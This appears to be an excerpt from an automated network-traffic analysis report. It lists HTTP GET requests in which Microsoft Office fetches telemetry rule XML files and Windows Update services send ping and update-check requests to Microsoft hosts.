Source: global traffic HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /clientwebservice/ping HTTP/1.1Connection: Keep-AliveUser-Agent: DNS resiliency checker/1.0Host: fe3cr.delivery.mp.microsoft.com
Source: global traffic HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /sls/ping HTTP/1.1Connection: Keep-AliveUser-Agent: DNS resiliency checker/1.0Host: slscr.update.microsoft.com
Source: global traffic HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=9OGZE1FGg5rwgfb&MD=ZtmRhZxv HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=9OGZE1FGg5rwgfb&MD=ZtmRhZxv HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
